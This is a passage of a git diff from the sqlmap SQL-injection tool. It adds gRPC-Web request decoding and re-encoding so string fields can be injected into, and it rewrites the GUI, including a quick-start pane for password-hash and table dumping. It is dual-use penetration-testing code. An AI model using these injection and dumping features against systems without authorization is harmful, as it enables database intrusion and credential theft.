out += _writeVarint((fn << 3) | wt) + if wt == 0: + out += _writeVarint(val) + elif wt == 2: + val = val if isinstance(val, bytes) else bytes(val) + out += _writeVarint(len(val)) + val + else: + out += val if isinstance(val, bytes) else bytes(val) + return bytes(out) + +def _frame(msg): + return b"\x00" + struct.pack(">I", len(msg)) + msg + +def _unframe(data): + # strict: exactly one uncompressed data frame (flag 0x00), nothing trailing (unary; no + # compression/streaming/reserved flag bits) + if len(data) < 5: + raise ValueError("truncated gRPC-Web frame") + flag = data[0] if isinstance(data[0], int) else ord(data[0]) + if flag != 0x00: + raise ValueError("unsupported request frame flags 0x%02x" % flag) + length = struct.unpack(">I", data[1:5])[0] + if len(data) != 5 + length: + raise ValueError("incomplete/oversized gRPC-Web frame") + return data[5:5 + length] + +def _isTextContentType(value): + return (value or "").split(";", 1)[0].strip().lower() in (CONTENT_TYPE, CONTENT_TYPE_PROTO) + +def acceptsTextContentType(value): + # True if a (possibly comma-separated) Accept header already negotiates a grpc-web-text response + return any(_isTextContentType(_) for _ in (value or "").split(",")) + +def _stringFields(fields): + # Descriptorless: wire type 2 is string / bytes / embedded-message / packed - indistinguishable + # without the .proto. Offer every printable-UTF-8 length-delimited field as a candidate; do NOT try + # to exclude values that merely also parse as protobuf (ordinary strings like "A12345678"/"M1234" do, + # so excluding them silently drops real injection points). Non-selected fields stay in the skeleton + # untouched, so a mis-picked embedded message just fails to inject and is skipped - the safe failure. + retVal = [] + for index, (fn, wt, val) in enumerate(fields): + if wt != 2: + continue + try: + value = bytes(val).decode("utf-8") + except Exception: + continue + if all(char in "\t\n" or ord(char) > 31 for char in value): + retVal.append((index, fn, value)) + return retVal + +def _requestContentType(): + for header, value in (conf.httpHeaders or []): + if header.lower() == HTTP_HEADER.CONTENT_TYPE.lower(): + return value + return "" + +def _headerValue(headers, key): + if not headers: + return None + key = key.lower() + try: + items = headers.items() + except AttributeError: + items = headers + for header, value in items: + if header.lower() == key: + return value + return None + +def decodeBody(data): + """ + Probe 'data' for a gRPC-Web (grpc-web-text) body WITHOUT any side effects. Returns a + (jsonView, skeleton) tuple - the JSON string of injectable string fields plus the message skeleton + to re-encode with - or (None, None). The caller commits the skeleton to kb.grpcWeb only on acceptance. + """ + + if not _isTextContentType(_requestContentType()): + return None, None + + try: + fields = _decode(_unframe(_b64decode(data))) + except Exception: + return None, None + + strings = _stringFields(fields) + if not strings: + return None, None + + counts = {} + for _, fn, _value in strings: + counts[fn] = counts.get(fn, 0) + 1 + + occurrence = {} + mapping = {} + view = {} + for index, fn, value in strings: + if counts[fn] == 1: + key = "f%d" % fn + else: + key = "f%d_%d" % (fn, occurrence.get(fn, 0)) + occurrence[fn] = occurrence.get(fn, 0) + 1 + mapping[key] = index + view[key] = value + + skeleton = {"fields": [list(_) for _ in fields], "map": mapping} + + return json.dumps(view), skeleton + +def encodeBody(jsonBody): + """ + Inverse of decodeBody(): overlay the (possibly injected) JSON string values onto the skeleton and + re-encode a grpc-web-text (base64) body, recomputing the length prefixes. Called at send time. + + Only a body whose keys are EXACTLY the gRPC surrogate keys is transformed - so unrelated JSON bodies + on the shared request path (CSRF/second-order/redirect/safe requests) pass through untouched. + """ + + if not kb.grpcWeb: + return jsonBody + + try: + parsed = json.loads(jsonBody) + except Exception: + return jsonBody + + if not isinstance(parsed, dict) or set(parsed) != set(kb.grpcWeb["map"]): + return jsonBody + + fields = [list(_) for _ in kb.grpcWeb["fields"]] + + for key, index in kb.grpcWeb["map"].items(): + value = parsed[key] + fields[index][2] = (value if hasattr(value, "encode") else str(value)).encode("utf-8") + + return base64.b64encode(_frame(_encode(fields))).decode("ascii") + +def decodeResponse(page, responseHeaders=None): + """ + Render a gRPC-Web response as readable text (message-frame fields + the trailer frame's + grpc-status/grpc-message = the back-end error) so the oracle/error-regex/in-band paths see content, + not an opaque blob. Handles trailers-only errors (status/message in response headers, empty body). + Unary only: at most one data frame, an optional final trailer, exact frame flags. Only a + grpc-web-text response body is decoded; anything else is left unchanged. + """ + + if not kb.grpcWeb: + return page + + out = [] + + status = _headerValue(responseHeaders, "grpc-status") + if status is not None: + out.append("grpc-status:%s" % status) + message = _headerValue(responseHeaders, "grpc-message") + if message: + out.append("grpc-message:%s" % unquote(message)) + + if page and _isTextContentType(_headerValue(responseHeaders, HTTP_HEADER.CONTENT_TYPE)): + try: + raw = _b64decode(page) + bodyOut = [] # separate so a mid-parse failure never leaks partial frame renders + pos = 0 + dataFrames = 0 + seenTrailer = False + while pos + 5 <= len(raw): + flag = raw[pos] if isinstance(raw[pos], int) else ord(raw[pos]) + length = struct.unpack(">I", raw[pos + 1:pos + 5])[0] + payload, pos = _readExact(raw, pos + 5, length) + if seenTrailer: + raise ValueError("frame after trailer") + if flag == 0x00: # data frame + dataFrames += 1 + if dataFrames > 1: + raise ValueError("streaming response not supported") + for _fn, wt, val in _decode(payload): + bodyOut.append(bytes(val).decode("utf-8", "replace") if wt == 2 else str(val)) + elif flag == 0x80: # trailer frame (grpc-status / grpc-message), must be last + seenTrailer = True + bodyOut.append(unquote(payload.decode("latin-1"))) + else: + raise ValueError("unsupported response frame flags 0x%02x" % flag) + if pos != len(raw): + raise ValueError("trailing bytes after final frame") + out.extend(bodyOut) # commit body renders only on a fully-valid parse + except Exception: + # keep status/message recovered from HEADERS (discard any partial body); append the raw page + out.append(page) + return "\n".join(out) + elif page: + out.append(page) # unsupported/absent response Content-Type: leave the body for the oracle + + return "\n".join(out) if out else page diff --git a/lib/utils/gui.py b/lib/utils/gui.py index 3e3500bc507..452160bb468 100644 --- a/lib/utils/gui.py +++ b/lib/utils/gui.py @@ -5,13 +5,13 @@ See the file 'LICENSE' for copying permission """ +import io import os -import re -import socket import subprocess import sys import tempfile import threading +import time import webbrowser from lib.core.common import getSafeExString @@ -30,397 +30,1882 @@ from lib.core.settings import WIKI_PAGE from thirdparty.six.moves import queue as _queue -alive = None -line = "" -process = None -queue = None - -def runGui(parser): +try: + _text_type = unicode +except NameError: + _text_type = str + +_binary_type = str if sys.version_info[0] < 3 else bytes +_clock = getattr(time, "perf_counter", getattr(time, "clock", time.time)) + +def _toText(value): + """Return a Unicode text value on both Python 2.7 and Python 3.x.""" + if value is None: + return u"" + if isinstance(value, _text_type): + return value + if isinstance(value, _binary_type): + try: + return value.decode("utf-8", "replace") + except Exception: + return _text_type(value) try: - from thirdparty.six.moves import tkinter as _tkinter - from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext - from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk - from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox - except ImportError as ex: - raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) - - # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x - class ConstrainedEntry(_tkinter.Entry): - def __init__(self, master=None, **kwargs): - self.var = _tkinter.StringVar() - self.regex = kwargs["regex"] - del kwargs["regex"] - _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) - self.old_value = '' - self.var.trace('w', self.check) - self.get, self.set = self.var.get, self.var.set - - def check(self, *args): - if re.search(self.regex, self.get()): - self.old_value = self.get() + return _text_type(value) + except Exception: + return _text_type(repr(value)) + +def _toBytes(value): + """Return UTF-8 bytes suitable for a binary subprocess pipe.""" + if isinstance(value, _binary_type): + return value + return _toText(value).encode("utf-8", "replace") + +def _waitForProcess(process, timeout): + """Python 2 compatible replacement for Popen.wait(timeout=...).""" + deadline = _clock() + max(0.0, timeout) + while process.poll() is None and _clock() < deadline: + time.sleep(0.03) + return process.poll() + +def _list2cmdline(arguments): + values = [_toText(_) for _ in arguments] + if sys.version_info[0] < 3: + return _toText(subprocess.list2cmdline([_toBytes(_) for _ in values])) + return _toText(subprocess.list2cmdline(values)) + +# A restrained security-tool palette: the layout stays familiar, while the darker +# navigation, cyan accents and terminal surfaces add a light Havij-era character. +PALETTE = { + "base": "#d7dce1", + "mantle": "#243545", + "crust": "#101820", + "surface0": "#f8fafb", + "surface1": "#8d98a3", + "surface2": "#e7ebef", + "light": "#ffffff", + "dark": "#3c4650", + "text": "#17212b", + "subtext": "#33414f", + "overlay": "#657381", + "title2": "#0b79a5", + "blue": "#164d73", + "sapphire": "#087caf", + "sky": "#169ec1", + "green": "#2d9659", + "teal": "#178b86", + "red": "#bd3f45", + "maroon": "#8c3d56", + "mauve": "#86549a", + "pink": "#b34e83", + "peach": "#c56d35", + "yellow": "#b78a18", + "lavender": "#6172b8", + "flamingo": "#bf5b72", + "gold": "#d29b22", + "navText": "#eef4f8", + "navMuted": "#a9bac8", + "navHover": "#31485d", + "panel": "#eef2f5", + "border": "#9ca7b1", + "success": "#2f9b5b", + "command": "#13232e", + "commandText": "#8de19b", + "consoleText": "#d8e7de", + "consoleMuted": "#8fa69a", +} + +# a distinct accent color per section, so the sidebar icons read as a colorful, scannable set +ICON_COLORS = { + "Quick start": "yellow", + "Target": "red", + "Request": "sapphire", + "Optimization": "teal", + "Injection": "mauve", + "Detection": "sky", + "Techniques": "maroon", + "Fingerprint": "lavender", + "Enumeration": "green", + "Brute force": "peach", + "User-defined function injection": "pink", + "File system access": "gold", + "Operating system access": "blue", + "Windows registry access": "sapphire", + "General": "teal", + "Miscellaneous": "overlay", +} + +# Options surfaced on the curated "Quick start" pane (by destination), in display order +QUICK_START_DESTS = ( + "data", "cookie", "dbms", "level", "risk", "technique", + "getCurrentUser", "getCurrentDb", "getBanner", "isDba", + "getDbs", "getTables", "getColumns", "getPasswordHashes", "dumpTable", + "batch", "threads", "proxy", "tor", +) + +# Short, readable sidebar labels for the (sometimes verbose) option-group titles +NAV_ALIASES = { + "User-defined function injection": "UDF injection", + "Operating system access": "OS access", + "Windows registry access": "Windows registry", + "File system access": "File system", +} + +TARGET_PLACEHOLDER = "http://www.target.com/vuln.php?id=1" + +HINT_DEFAULT = "Hover or focus a field to see what it does." +MAX_CONSOLE_LINES = 12000 +MAX_SEARCH_RESULTS = 12 + +# --- parser-backend compatibility (works for both optparse and argparse objects) --- + +def _parserGroups(parser): + groups = getattr(parser, "option_groups", None) + if groups is None: + groups = [_ for _ in getattr(parser, "_action_groups", []) if getattr(_, "title", None) not in (None, "positional arguments", "optional arguments", "options")] + return groups or [] + +def _groupOptions(group): + for attr in ("option_list", "_group_actions"): + if hasattr(group, attr): + return getattr(group, attr) + return [] + +def _groupTitle(group): + return getattr(group, "title", "") or "" + +def _groupDescription(group): + if hasattr(group, "get_description"): + return group.get_description() or "" + return getattr(group, "description", "") or "" + +def _optStrings(option): + if hasattr(option, "option_strings"): # argparse + return list(option.option_strings) + return list(getattr(option, "_short_opts", None) or []) + list(getattr(option, "_long_opts", None) or []) + +def _optDest(option): + return getattr(option, "dest", None) + +def _optHelp(option): + return getattr(option, "help", "") or "" + +def _optChoices(option): + return getattr(option, "choices", None) + +def _optTakesValue(option): + if hasattr(option, "takes_value"): # optparse Option + try: + return option.takes_value() + except Exception: + pass + return getattr(option, "nargs", 1) != 0 # argparse: store_true/false has nargs 0 + +def _optValueType(option): + kind = getattr(option, "type", None) + if kind in ("int", int): + return "int" + if kind in ("float", float): + return "float" + return "string" + +def _optionLabel(option): + return ", ".join(_optStrings(option)) or (_optDest(option) or "") + +def _preferredFlag(option): + strings = _optStrings(option) + longOptions = [_ for _ in strings if _.startswith("--")] + return (longOptions or strings or [""])[0] + +def _quoteArg(value): + value = _toText(value) + if IS_WIN: + return _list2cmdline([value]) + if not value: + return u"''" + safe = u"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_@%+=:,./-" + if all(character in safe for character in value): + return value + return u"'" + value.replace(u"'", u"'\"'\"'") + u"'" + +class _TooltipManager(object): + """One shared tooltip/hint dispatcher for every option control. + + Per-widget Python/Tcl bindings are surprisingly expensive when a pane contains + dozens of options. Widgets only receive a small Python attribute; four global + bindings handle the whole application. + """ + + def __init__(self, owner, root, tk, palette, delay=500): + self._owner = owner + self._root = root + self._tk = tk + self._palette = palette + self._delay = delay + self._widget = None + self._tip = None + self._job = None + root.bind_all("", self._enter, add="+") + root.bind_all("", self._leave, add="+") + root.bind_all("", self._focusIn, add="+") + root.bind_all("", self._focusOut, add="+") + root.bind_all("", self._hide, add="+") + + def attach(self, widget, text): + if text: + widget._sqlmap_help = text + + def _textFor(self, widget): + return getattr(widget, "_sqlmap_help", "") + + def _setHint(self, text): + try: + if hasattr(self._owner, "hint"): + self._owner.hint.set(text or HINT_DEFAULT) + except Exception: + pass + + def _enter(self, event): + text = self._textFor(event.widget) + if not text: + return + self._widget = event.widget + self._setHint(text) + self._cancel() + try: + self._job = self._root.after(self._delay, self._show) + except Exception: + self._job = None + + def _leave(self, event): + if event.widget is self._widget: + self._widget = None + self._cancel() + self._hide() + self._setHint(HINT_DEFAULT) + + def _focusIn(self, event): + text = self._textFor(event.widget) + if text: + self._setHint(text) + + def _focusOut(self, event): + if self._textFor(event.widget): + self._setHint(HINT_DEFAULT) + + def _cancel(self): + if self._job is not None: + try: + self._root.after_cancel(self._job) + except Exception: + pass + self._job = None + + def _show(self): + self._job = None + widget = self._widget + text = self._textFor(widget) if widget is not None else "" + if not text: + return + try: + if not widget.winfo_exists(): + return + x = widget.winfo_rootx() + 18 + y = widget.winfo_rooty() + widget.winfo_height() + 6 + self._tip = tw = self._tk.Toplevel(widget) + # Toplevels are initially mapped by Tk at the default 0,0 position. + # Keep the tooltip withdrawn until its children have been measured and + # its final geometry has been assigned; otherwise X11 briefly paints an + # empty box in the screen corner before the real tooltip appears. + tw.withdraw() + tw.wm_overrideredirect(True) + try: + tw.wm_transient(self._root) + except Exception: + pass + self._tk.Label(tw, text=text, justify="left", background=self._palette["surface0"], + foreground=self._palette["text"], relief="solid", borderwidth=1, + wraplength=460, padx=10, pady=7).pack() + tw.update_idletasks() + width = max(1, tw.winfo_reqwidth()) + height = max(1, tw.winfo_reqheight()) + x = min(x, max(0, tw.winfo_screenwidth() - width - 8)) + y = min(y, max(0, tw.winfo_screenheight() - height - 8)) + tw.wm_geometry("%dx%d+%d+%d" % (width, height, x, y)) + tw.deiconify() + tw.lift() + except Exception: + if self._tip is not None: + try: + self._tip.destroy() + except Exception: + pass + self._tip = None + + def _hide(self, event=None): + self._cancel() + if self._tip is not None: + try: + self._tip.destroy() + except Exception: + pass + self._tip = None + +class SqlmapGui(object): + def __init__(self, parser, tk, ttk, scrolledtext, messagebox, filedialog, font): + self.parser = parser + self.tk = tk + self.ttk = ttk + self.scrolledtext = scrolledtext + self.messagebox = messagebox + self.filedialog = filedialog + self.font = font + + self.widgets = {} # dest -> (type, shared effective-value Tk variable) + self.vars = {} # dest -> shared Tk variable (one per option) + self.optionByDest = {} + self.optionOrder = [] + self.sectionByDest = {} + self.searchIndex = [] + for group in _parserGroups(parser): + title = _groupTitle(group) + for option in _groupOptions(group): + dest = _optDest(option) + if dest: + if dest not in self.optionByDest: + self.optionOrder.append(dest) + self.optionByDest[dest] = option + self.sectionByDest[dest] = title + + for index, dest in enumerate(self.optionOrder): + option = self.optionByDest[dest] + section = self.sectionByDest.get(dest, "") + label = _optionLabel(option) + flag = _preferredFlag(option) + self.searchIndex.append(( + dest, + index, + label, + section, + flag, + " ".join((label, dest, section, _optHelp(option))).lower(), + )) + + self.panes = {} # name -> outer frame + self.navItems = {} # name -> (row frame, accent strip, icon canvas, label, badge) + self.canvases = {} # name -> canvas (for wheel binding) + self.inners = {} # name -> scrollable inner frame (populated lazily) + self.builders = {} # name -> callable that populates the inner frame + self.built = set() # names whose content has been built + self.buildStates = {} # name -> generator for incremental pane construction + self._prebuildQueue = [] + self._prebuildJob = None + self.badges = {} # name -> sidebar count badge label + self.sectionDests = {} # name -> [option dests in that section] + self.paneOrder = [] # nav order, for Up/Down navigation + self.currentPane = None + self.controlsByDest = {} # dest -> [(pane name, interactive widget)] + self.searchMatches = [] + + self.process = None + self.processQueue = None + self.processConfigFile = None + self.consoleWindow = None + self.consoleText = None + self.consoleStatus = None + self._runSerial = 0 + self._refreshJob = None + self._searchJob = None + self._headerJob = None + self._suspendRefresh = False + + try: + self.window = tk.Tk() + except Exception as ex: + raise SqlmapSystemException("unable to create GUI window ('%s')" % getSafeExString(ex)) + + self.tooltip = _TooltipManager(self, self.window, tk, PALETTE) + self._initializeVariables() + self._initFonts() + self._initStyle() + self._buildLayout() + self.window.protocol("WM_DELETE_WINDOW", self._closeApplication) + + def _initializeVariables(self): + for dest in self.optionOrder: + option = self.optionByDest[dest] + isBool = not _optTakesValue(option) + otype = "bool" if isBool else _optValueType(option) + default = defaults.get(dest) + if isBool: + var = self.tk.BooleanVar(value=bool(default)) else: - self.set(self.old_value) + var = self.tk.StringVar(value="" if default in (None, False) else default) + self.vars[dest] = var + self.widgets[dest] = (otype, var) + try: + var.trace("w", self._onOptionChanged) + except Exception: + pass - try: - window = _tkinter.Tk() - except Exception as ex: - errMsg = "unable to create GUI window ('%s')" % getSafeExString(ex) - raise SqlmapSystemException(errMsg) - - window.title("sqlmap - Tkinter GUI") - - # Set theme and colors - bg_color = "#f5f5f5" - fg_color = "#333333" - accent_color = "#2c7fb8" - window.configure(background=bg_color) - - # Configure styles - style = _tkinter_ttk.Style() - - # Try to use a more modern theme if available - available_themes = style.theme_names() - if 'clam' in available_themes: - style.theme_use('clam') - elif 'alt' in available_themes: - style.theme_use('alt') - - # Configure notebook style - style.configure("TNotebook", background=bg_color) - style.configure("TNotebook.Tab", - padding=[10, 4], - background="#e1e1e1", - font=('Helvetica', 9)) - style.map("TNotebook.Tab", - background=[("selected", accent_color), ("active", "#7fcdbb")], - foreground=[("selected", "white"), ("active", "white")]) - - # Configure button style - style.configure("TButton", - padding=4, - relief="flat", - background=accent_color, - foreground="white", - font=('Helvetica', 9)) - style.map("TButton", - background=[('active', '#41b6c4')]) - - # Reference: https://stackoverflow.com/a/10018670 - def center(window): - window.update_idletasks() - width = window.winfo_width() - frm_width = window.winfo_rootx() - window.winfo_x() - win_width = width + 2 * frm_width - height = window.winfo_height() - titlebar_height = window.winfo_rooty() - window.winfo_y() - win_height = height + titlebar_height + frm_width - x = window.winfo_screenwidth() // 2 - win_width // 2 - y = window.winfo_screenheight() // 2 - win_height // 2 - window.geometry('{}x{}+{}+{}'.format(width, height, x, y)) - window.deiconify() - - def onKeyPress(event): - global line - global queue - - if process: - if event.char == '\b': - line = line[:-1] + def _onOptionChanged(self, *unused): + if not self._suspendRefresh: + self._scheduleRefresh() + + def _scheduleRefresh(self, delay=70): + if self._refreshJob is not None: + try: + self.window.after_cancel(self._refreshJob) + except Exception: + pass + self._refreshJob = self.window.after(delay, self._refreshDerivedState) + + def _refreshDerivedState(self): + self._refreshJob = None + self._updateStats() + self.command.set(self._buildCommandString()) + self._updateStatusLight() + + def _updateStatusLight(self): + try: + canvas = self.statusLight + except AttributeError: + return + try: + canvas.delete("all") + if self._isRunning(): + color = PALETTE["success"] + elif any(self._isOptionSet(_) for _ in self.widgets): + color = PALETTE["sky"] else: - line += event.char + color = PALETTE["surface1"] + canvas.create_oval(2, 2, 10, 10, fill=color, outline=PALETTE["dark"]) + except Exception: + pass + + + def _initFonts(self): + family = self.font.nametofont("TkDefaultFont").actual("family") + self.fonts = { + "body": (family, 10), + "bodyBold": (family, 10, "bold"), + "small": (family, 9), + "nav": (family, 10), + "title": (family, 18, "bold"), + "subtitle": (family, 9), + "mono": (self.font.nametofont("TkFixedFont").actual("family"), 10), + } + + def _initStyle(self): + p = PALETTE + face = p["base"] + field = p["surface0"] + style = self.ttk.Style() + if "clam" in style.theme_names(): + style.theme_use("clam") + + style.configure(".", background=face, foreground=p["text"], fieldbackground=field, + bordercolor=p["border"], lightcolor=p["light"], darkcolor=p["surface1"], + troughcolor=p["surface2"], focuscolor=p["blue"], insertcolor=p["text"], + font=self.fonts["body"]) + + style.configure("TFrame", background=face) + style.configure("Bar.TFrame", background=p["panel"]) + style.configure("Nav.TFrame", background=p["mantle"]) + style.configure("Card.TFrame", background=p["panel"]) + style.configure("Panel.TFrame", background=p["surface0"]) + style.configure("PaneHeader.TFrame", background=p["surface0"]) + + style.configure("TLabel", background=face, foreground=p["text"]) + style.configure("Title.TLabel", background=p["blue"], foreground="#ffffff", font=self.fonts["title"]) + style.configure("Subtitle.TLabel", background=p["blue"], foreground="#dceaf2", font=self.fonts["subtitle"]) + style.configure("Hint.TLabel", background=p["panel"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("PanelHint.TLabel", background=p["surface0"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("PanelLabel.TLabel", background=p["surface0"], foreground=p["blue"], font=self.fonts["bodyBold"]) + style.configure("NavHint.TLabel", background=p["mantle"], foreground=p["navMuted"], font=self.fonts["small"]) + style.configure("NavTitle.TLabel", background=p["mantle"], foreground=p["navText"], font=self.fonts["bodyBold"]) + style.configure("Field.TLabel", background=p["panel"], foreground=p["text"]) + style.configure("Desc.TLabel", background=p["panel"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Pane.TLabel", background=p["surface0"], foreground=p["blue"], font=self.fonts["title"]) + style.configure("PaneCount.TLabel", background=p["surface0"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Stat.TLabel", background=p["panel"], foreground=p["overlay"], font=self.fonts["small"]) + style.configure("Prompt.TLabel", background=field, foreground=p["text"], font=self.fonts["mono"]) + + style.configure("TButton", background=p["surface2"], foreground=p["text"], relief="raised", borderwidth=1, + lightcolor=p["light"], darkcolor=p["surface1"], bordercolor=p["border"], + focuscolor=p["blue"], padding=(11, 5)) + style.map("TButton", background=[("active", p["surface0"]), ("pressed", p["surface1"])], + relief=[("pressed", "sunken")]) + style.configure("Tool.TButton", padding=(9, 4), font=self.fonts["small"]) + style.configure("Primary.TButton", background=p["success"], foreground="#ffffff", bordercolor=p["green"], + lightcolor="#78c89a", darkcolor="#17643a", padding=(12, 5), font=self.fonts["bodyBold"]) + style.map("Primary.TButton", background=[("active", "#39aa68"), ("pressed", "#247c49")], + foreground=[("disabled", "#d7e4dc")]) + + style.configure("TEntry", fieldbackground=field, foreground=p["text"], relief="sunken", borderwidth=1, + bordercolor=p["border"], lightcolor=p["surface1"], darkcolor=p["light"], + insertcolor=p["text"], padding=5) + style.configure("Target.TEntry", fieldbackground="#ffffff", foreground=p["text"], relief="sunken", borderwidth=1, + bordercolor=p["sapphire"], lightcolor=p["surface1"], darkcolor=p["light"], + insertcolor=p["text"], padding=7, font=self.fonts["body"]) + style.configure("Search.TEntry", fieldbackground="#192936", foreground=p["navText"], relief="flat", borderwidth=1, + bordercolor="#4c6376", lightcolor="#4c6376", darkcolor="#17242f", + insertcolor="#ffffff", padding=6) + + style.configure("TCheckbutton", background=p["panel"], foreground=p["text"], focuscolor=p["panel"], padding=2, + indicatorbackground=field, indicatorforeground=p["blue"], indicatorrelief="sunken", + indicatorborderwidth=1, bordercolor=p["border"], lightcolor=p["surface1"], darkcolor=p["light"]) + style.map("TCheckbutton", background=[("active", p["panel"])], + indicatorbackground=[("active", field), ("selected", field)]) + + style.configure("TCombobox", fieldbackground=field, background=p["surface2"], foreground=p["text"], + arrowcolor=p["blue"], relief="sunken", borderwidth=1, bordercolor=p["border"], + lightcolor=p["surface1"], darkcolor=p["light"], padding=4) + + style.configure("Vertical.TScrollbar", background=p["surface2"], troughcolor=p["panel"], + bordercolor=p["border"], lightcolor=p["light"], darkcolor=p["surface1"], + arrowcolor=p["text"], relief="raised", width=16) + style.map("Vertical.TScrollbar", background=[("active", p["surface0"])]) + + self.window.configure(background=face) + + def _buildLayout(self): + tk = self.tk + p = PALETTE + self.window.title("sqlmap GUI") + self.window.minsize(980, 690) + self._buildMenu() + self._buildHeader() + + targetShell = tk.Frame(self.window, background=p["border"], borderwidth=0) + targetShell.pack(fill=tk.X, padx=16, pady=(10, 8)) + target = self.ttk.Frame(targetShell, style="Panel.TFrame", padding=(14, 10, 14, 12)) + target.pack(fill=tk.X, padx=1, pady=1) + tk.Frame(target, background=p["red"], height=3).pack(fill=tk.X, pady=(0, 9)) + + labelRow = self.ttk.Frame(target, style="Panel.TFrame") + labelRow.pack(fill=tk.X, pady=(0, 5)) + self.ttk.Label(labelRow, text="TARGET URL", style="PanelLabel.TLabel").pack(side=tk.LEFT) + self.ttk.Label(labelRow, text="Ctrl+L", style="PanelHint.TLabel").pack(side=tk.RIGHT) + self.ttk.Label(labelRow, text=" e.g. %s" % TARGET_PLACEHOLDER, style="PanelHint.TLabel").pack(side=tk.LEFT) + + targetRow = self.ttk.Frame(target, style="Panel.TFrame") + targetRow.pack(fill=tk.X) + urlVar = self._destVar("url", False) + self.targetEntry = self.ttk.Entry(targetRow, style="Target.TEntry", textvariable=urlVar) + self.targetEntry.pack(side=tk.LEFT, fill=tk.X, expand=True, ipady=1) + self.ttk.Button(targetRow, text="Paste", style="Tool.TButton", command=self._pasteTarget, + takefocus=False).pack(side=tk.LEFT, padx=(8, 0)) + self.ttk.Button(targetRow, text="Clear", style="Tool.TButton", command=self._clearTarget, + takefocus=False).pack(side=tk.LEFT, padx=(6, 0)) + self.controlsByDest.setdefault("url", []).append((None, self.targetEntry)) + + body = self.ttk.Frame(self.window, style="TFrame") + body.pack(expand=True, fill=tk.BOTH) + + navHolder = self.ttk.Frame(body, style="Nav.TFrame", width=224) + navHolder.pack(side=tk.LEFT, fill=tk.Y) + navHolder.pack_propagate(False) + + searchBar = self.ttk.Frame(navHolder, style="Nav.TFrame", padding=(11, 11, 11, 8)) + searchBar.pack(fill=tk.X) + searchTitle = self.ttk.Frame(searchBar, style="Nav.TFrame") + searchTitle.pack(fill=tk.X, pady=(0, 5)) + self.ttk.Label(searchTitle, text="OPTION FINDER", style="NavTitle.TLabel").pack(side=tk.LEFT) + self.ttk.Label(searchTitle, text="Ctrl+K", style="NavHint.TLabel").pack(side=tk.RIGHT) + self.searchVar = tk.StringVar(value="") + self.searchEntry = self.ttk.Entry(searchBar, style="Search.TEntry", textvariable=self.searchVar) + self.searchEntry.pack(fill=tk.X) + self.searchEntry.bind("", self._activateSearchResult) + self.searchEntry.bind("", self._searchMoveDown) + try: + self.searchVar.trace("w", self._scheduleSearch) + except Exception: + pass + + self.searchList = tk.Listbox(navHolder, height=6, activestyle="dotbox", exportselection=False, + bg="#192936", fg=p["navText"], selectbackground=p["sapphire"], + selectforeground="#ffffff", relief="flat", borderwidth=1, + highlightthickness=1, highlightbackground="#4c6376", + font=self.fonts["small"]) + self.searchList.bind("", self._clickSearchResult) + self.searchList.bind("", self._activateSearchResult) + + self.navCanvas = tk.Canvas(navHolder, background=p["mantle"], highlightthickness=0, borderwidth=0) + navScroll = self.ttk.Scrollbar(navHolder, orient="vertical", command=self.navCanvas.yview, + style="Vertical.TScrollbar") + self.nav = self.ttk.Frame(self.navCanvas, style="Nav.TFrame") + self.nav.bind("", lambda e: self.navCanvas.configure(scrollregion=self.navCanvas.bbox("all"))) + navWin = self.navCanvas.create_window((0, 0), window=self.nav, anchor="nw") + self.navCanvas.bind("", lambda e: self.navCanvas.itemconfigure(navWin, width=e.width)) + self.navCanvas.configure(yscrollcommand=navScroll.set) + self.navCanvas.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) + navScroll.pack(side=tk.RIGHT, fill=tk.Y) + + tk.Frame(body, background=p["border"], width=1).pack(side=tk.LEFT, fill=tk.Y) + + self.content = self.ttk.Frame(body, style="Card.TFrame") + self.content.pack(side=tk.LEFT, expand=True, fill=tk.BOTH) + + cmdBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(16, 8)) + cmdBar.pack(fill=tk.X) + self.ttk.Label(cmdBar, text=">_", style="PanelLabel.TLabel").pack(side=tk.LEFT, padx=(0, 8)) + self.ttk.Button(cmdBar, text="Copy", style="Tool.TButton", command=self._copyCommand, + takefocus=False).pack(side=tk.RIGHT, padx=(7, 0)) + self.ttk.Button(cmdBar, text="Reset", style="Tool.TButton", command=self.resetOptions, + takefocus=False).pack(side=tk.RIGHT, padx=(7, 0)) + self.command = tk.StringVar(value="sqlmap.py") + cmdEntry = tk.Entry(cmdBar, textvariable=self.command, font=self.fonts["mono"], + bg=p["command"], fg=p["commandText"], readonlybackground=p["command"], + disabledforeground=p["commandText"], relief="flat", borderwidth=0, + highlightthickness=1, highlightbackground=p["border"], + highlightcolor=p["sapphire"], state="readonly") + cmdEntry.pack(side=tk.LEFT, fill=tk.X, expand=True, ipady=5) + + hintBar = self.ttk.Frame(self.window, style="Bar.TFrame", padding=(16, 8)) + hintBar.pack(fill=tk.X) + self.statusLight = tk.Canvas(hintBar, width=12, height=12, background=p["panel"], + highlightthickness=0, borderwidth=0) + self.statusLight.pack(side=tk.LEFT, padx=(0, 8)) + self.stat = tk.StringVar(value="") + self.ttk.Label(hintBar, textvariable=self.stat, style="Stat.TLabel", anchor="e").pack(side=tk.RIGHT, padx=(12, 0)) + self.hint = tk.StringVar(value=HINT_DEFAULT) + self.ttk.Label(hintBar, textvariable=self.hint, style="Hint.TLabel", anchor="w").pack(side=tk.LEFT, fill=tk.X, expand=True) + + self._buildQuickStartPane() + for group in _parserGroups(self.parser): + self._buildGroupPane(group) + + self._prebuildQueue = list(self.paneOrder) + self._selectPane("Quick start") + self.window.bind("", lambda e: self._navKey(1)) + self.window.bind("", lambda e: self._navKey(-1)) + for seq in ("", "", ""): + self.window.bind_all(seq, self._onWheel) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self.run()) + self.window.bind("", lambda e: self._focusTarget()) + self.window.bind("", lambda e: self._focusSearch()) + self.window.bind("", self._escapeAction) + self.window.bind("", lambda e: self.saveConfigDialog()) + self.window.bind("", lambda e: 